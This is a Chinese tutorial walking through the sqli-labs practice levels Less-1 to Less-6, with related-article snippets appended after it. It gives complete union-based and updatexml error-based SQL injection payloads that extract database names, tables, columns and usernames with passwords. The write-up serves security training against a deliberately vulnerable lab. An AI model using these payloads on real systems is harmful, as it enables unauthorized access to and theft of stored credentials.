当前位置: 首页 > news >正文

sqli-labs-master less1-less6

目录

通关前必看

1、判断是否存在sql注入以及是字符型还是数值型:

2、各种注入方式以及方法

有回显型:

报错注入(只有'ok'和'no'的提示以及报错提示):

详细思路,后面的题都可以这样去思考

关卡实操

less1

less2

less3

less4

less5

less6



通关前必看

在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)

1、判断是否存在sql注入以及是字符型还是数值型:

方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2

比如127.0.0.1/sqli-labs-master/Less-1/?id=   当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。

2、各种注入方式以及方法

有回显型:

1‘ order by n 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。

-1’  union select 1,2,database()  爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)

-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' 爆出表名,且在一行显示;

还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名'  limit 0,1 (只能显示第一个表,通过改变limit 0,1 来获取更多表名)

-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名' 爆出某张表的字段名

-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据


报错注入(只有'ok'和'no'的提示以及报错提示):

先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……

固定语句:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+中间的括号里面写需要执行的select语句。


详细思路,后面的题都可以这样去思考

 1、我们在传参处随便输入个数字,比如1,发现有回显,且没有报错。然后在后面再加上 and 1=1没有变化,再换成and1=2,如果回显没有变化,可以判断这里输入值被当作字符串处理了,所以是字符型;如果回显发生了变化,则是数值型。
2、下一步是判断是单引号闭合还是双引号闭合,删去上一步的and语句,我们在输入的1后面加上单引号,如果报错了,说明是单引号闭合, where id =‘ 1’   ……;多出来的单引号会报错;如果没有报错,说明是双引号闭合,输入的单引号被当作参数处理了, where id =“ 1’   ……;
3、判断好闭合后,我们在后面加上注释符 # (post型传参)或者--+(get型传参)将之后的其他判断语句注释掉,如果没有报错,就可以进行数据库爆破了。
4、如果出错了,很可能是原数据库语句中加了括号 where id =(‘ 1’  ) ……;那我们就还需要将前面的括号闭合,在输入的引号后面加上右括号,直至不报错为止。


关卡实操


less1

输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:

输入1’ 报错,判断是单引号闭合:

在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:

开始爆破数据库:

?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:

爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :

爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  可以看到,有emails,referers,uagents,users四张表:

爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:

爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+

接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。


less2

这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:

后面加上注释--+发现回显正常,说明没有括号:

接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:

爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:

同样的方法爆出其他的数据:

表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less3

同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:

我们在引号后面加上一个右括号,发现回显正常了:

之后爆数据库:

?id=1') order by 3--+判断有三处回显

数据库名?id =0') union select 1,2,database()--+

表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less4

同样的方法判断出字符型;

当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):

我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:

后面加上注释--+,发现报错,说明有括号没有闭合:

我们在双引号后面加上一个右括号,发现回显正常了:

接下来一样的方法爆数据库:

?id=1") order by 3--+判断有三处回显

数据库名:?id=0") union select 1,2,database()--+

表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less5

这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。

同样的方法判断出这里是字符型,单引号闭合。

然后用updatexml()报错函数来爆破数据库:

固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+最中间的括号里填查询语句。

爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+

爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+


less6

同less5要用报错注入

同样的方法判断出这里是字符型,双引号闭合。

爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+

爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)



相关文章:

sqli-labs-master less1-less6

目录 通关前必看 1、判断是否存在sql注入以及是字符型还是数值型: 2、各种注入方式以及方法 有回显型: 报错注入(只有ok和no的提示以及报错提示): 详细思路,后面的题都可以这样去思考 关卡实操 less…...

力扣287【寻找重复数】

给定一个包含 n 1 个整数的数组 nums ,其数字都在 [1, n] 范围内(包括 1 和 n),可知至少存在一个重复的整数。 假设 nums 只有 一个重复的整数 ,返回 这个重复的数 。 你设计的解决方案必须 不修改 数组 nums 且只用常…...

【2024蓝桥杯/C++/B组/传送阵】

题目 问题代码 #include<bits/stdc.h> using namespace std;const int N 1e610; int n; int porter[N]; int ans; int sign[N]; bool used;void dfs(int now, int cnt) {if(sign[now] && used){ans max(ans, cnt);return;}if(!sign[now]){cnt, sign[now] 1; …...

(四十一)大数据实战——spark的yarn模式生产环境部署

前言 Spark 是一个开源的分布式计算系统。它提供了高效的数据处理能力&#xff0c;支持复杂的数据分析和处理任务&#xff0c;是一种基于内存的快速、通用、可扩展的大数据分析计算引擎。Spark Core&#xff1a;实现了Spark的基本功能&#xff0c;包含任务调度、内存管理、错误…...

【深度学习实战(53)】classification_report()

classification_report()是python在机器学习中常用的输出模型评估报告的方法。 classification_report()函数介绍 classification_report()语法如下&#xff1a;classification_report(          y_true,          y_pred,          labelsNone,  …...

计算机网络基础之网络套接字socket编程(初步认识UDP、TCP协议)

绪论​ “宿命论是那些缺乏意志力的弱者的借口。 ——罗曼&#xff0e;罗兰”&#xff0c;本章是为应用层打基础&#xff0c;因为在写应用层时将直接通过文本和代码的形式来更加可视化的理解网络&#xff0c;本章主要写的是如何使用网络套接字和udp、tcp初步认识。 话不多说安…...

手撕Python!模块、包、库,傻傻分不清?一分钟带你弄明白!

哈喽&#xff0c;各位小伙伴们&#xff01;今天咱们来聊聊Python中的模块、包和库&#xff0c;很多新手小白经常搞混&#xff0c;别担心&#xff0c;看完这篇&#xff0c;保证你一分钟就能搞定&#xff01; 打个比方&#xff1a; 模块 (Module): 就好比是一块块乐高积木&#…...

Linux--序列化与反序列化

序列化 序列化是指将数据结构或对象状态转换成可以存储或传输的格式的过程。在序列化过程中&#xff0c;对象的状态信息被转换为可以保持或传输的格式&#xff08;如二进制、XML、JSON等&#xff09;。序列化后的数据可以被写入到文件、数据库、内存缓冲区中&#xff0c;或者通…...

使用C#和 aspose.total 实现替换pdf中的文字(外语:捷克语言的pdf),并生成新的pdf导出到指定路径

程序主入口&#xff1a; Program.cs &#xfeff;using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks;namespace PdfEditor {public class Progra…...

【Material-UI】Autocomplete中的高亮功能(Highlights)详解

文章目录 一、简介二、实现高亮功能示例代码代码解释 三、实际应用场景1. 搜索功能2. 表单自动完成 四、总结 在现代Web开发中&#xff0c;提供清晰的用户反馈是提升用户体验的重要组成部分。Material-UI的Autocomplete组件通过高亮功能&#xff0c;帮助用户快速识别搜索结果中…...

Android 11(R)启动流程 初版

启动流程 bootloader会去启动android第一个进程Idle&#xff0c;pid为0&#xff0c;会对进程 内存管理等进行初始化。Idle还被称作swapper。Idle会去创建两个进程&#xff0c;一个是init&#xff0c;另外一个是kthread。 kthread会去启动内核&#xff0c;用户是由init进行启动。…...

从零安装pytorch

背景介绍 目前主流使用的工具有Facebook搞的pythorch和谷歌开发的tensorflow两种&#xff0c;二者在实现理念上有一定区别&#xff0c;pytorch和人的思维模式与变成习惯更像&#xff0c;而tensorflow则是先构建整体结构&#xff0c;然后整体运行&#xff0c;开发调试过程较为繁…...

2024.07.28 校招 实习 内推 面经

绿*泡*泡VX&#xff1a; neituijunsir 交流*裙 &#xff0c;内推/实习/校招汇总表格 1、自动驾驶一周资讯 - 特斯拉FSD年底入华&#xff1f;理想成立“端到端”实体组织&#xff1b;小马智行或最快于今年9月赴美IPO 自动驾驶一周资讯 - 特斯拉FSD年底入华&#xff1f;理想…...

python实现小游戏——植物大战僵尸(魔改版本)

制作一款DIY的‘植物大战僵尸’游戏引起了很多人的兴趣。在这里&#xff0c;我将分享一个使用Python语言在PyCharm环境中开发的初始状态版本。这个版本主要应用了pygame库来完成&#xff0c;是一个充满创意和趣味的魔改版本。 文章目录 前言一、开发环境准备二、代码1.main方法…...

基于K210智能人脸识别+车牌识别系统(完整工程资料源码)

运行效果&#xff1a; 基于K210的智能人脸与车牌识别系统工程 目录&#xff1a; 运行效果&#xff1a; 目录&#xff1a; 前言&#xff1a; 一、国内外研究现状与发展趋势 二、相关技术基础 2.1 人脸识别技术 2.2 车牌识别技术 三、智能小区门禁系统设计 3.1 系统设计方案 3.2 …...

8.怎么配嵌套子路由,以及它的作用

作用 配嵌套子路由,就是可以通过同一个页面,让不同的位置发生变化,其他的位置不会发生变化,而做到一个局部刷新 例子 红线框住的部分,头部和导航栏是不会发生变化的,变化的只有中间的内容 子路由的操作步骤 将这个页面的头部和导航栏部分的样式和风格,移到主路由上(<tem…...

【海贼王航海日志:前端技术探索】HTML你学会了吗?(二)

目录 1 -> HTML常见标签 1.1 -> 表格标签 1.1.1 -> 基本使用 1.1.2 -> 合并单元格 1.2 -> 列表标签 1.3 -> 表单标签 1.3.1 -> form标签 1.3.2 -> input标签 1.4 -> label标签 1.5 -> select标签 1.6 -> textarea标签 1.7 -> …...

体系结构论文导读(三十一)(下):Soft errors in DNN accelerators: A comprehensive review

第五部分&#xff1a;DNN加速器中的软错误 本部分回顾和分析了有关人工神经网络&#xff08;ANN&#xff09;可靠性的研究。特别是关注通过DNN加速器解决DNN可靠性的研究&#xff0c;从软错误的角度进行探讨。许多前期工作声称ANN本身对故障具有固有的容错能力。然而&#xff…...

Python在指定文件夹下创建虚拟环境

基于不同python版本和第三方包版本开发的项目&#xff0c;为了方便学习和管理python环境&#xff0c;可以在指定的文件夹里创建项目所需的虚拟环境。具体流程如下&#xff1a; (1) 以管理员身份打开Ananconda Prompt&#xff0c;查看当前虚拟环境&#xff0c;输入命令如下&…...

【SpringBoot】 定时任务之任务执行和调度及使用指南

【SpringBoot】 定时任务之任务执行和调度及使用指南 Spring框架分别通过TaskExecutor和TaskScheduler接口为任务的异步执行和调度提供了抽象。Spring还提供了支持应用程序服务器环境中的线程池或CommonJ委托的那些接口的实现。最终&#xff0c;在公共接口后面使用这些实现&…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中&#xff0c;结构体可以嵌套使用&#xff0c;形成更复杂的数据结构。例如&#xff0c;可以通过嵌套结构体描述多层级数据关系&#xff1a; struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

大数据学习栈记——Neo4j的安装与使用

本文介绍图数据库Neofj的安装与使用&#xff0c;操作系统&#xff1a;Ubuntu24.04&#xff0c;Neofj版本&#xff1a;2025.04.0。 Apt安装 Neofj可以进行官网安装&#xff1a;Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程&#xff0c;然后使用强化学习的Actor-Critic机制&#xff08;中文译作“知行互动”机制&#xff09;&#xff0c;逐步迭代求解…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

连锁超市冷库节能解决方案:如何实现超市降本增效

在连锁超市冷库运营中&#xff0c;高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术&#xff0c;实现年省电费15%-60%&#xff0c;且不改动原有装备、安装快捷、…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

渲染学进阶内容——模型

最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...

工程地质软件市场:发展现状、趋势与策略建议

一、引言 在工程建设领域&#xff0c;准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具&#xff0c;正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

HTML前端开发:JavaScript 常用事件详解

作为前端开发的核心&#xff0c;JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例&#xff1a; 1. onclick - 点击事件 当元素被单击时触发&#xff08;左键点击&#xff09; button.onclick function() {alert("按钮被点击了&#xff01;&…...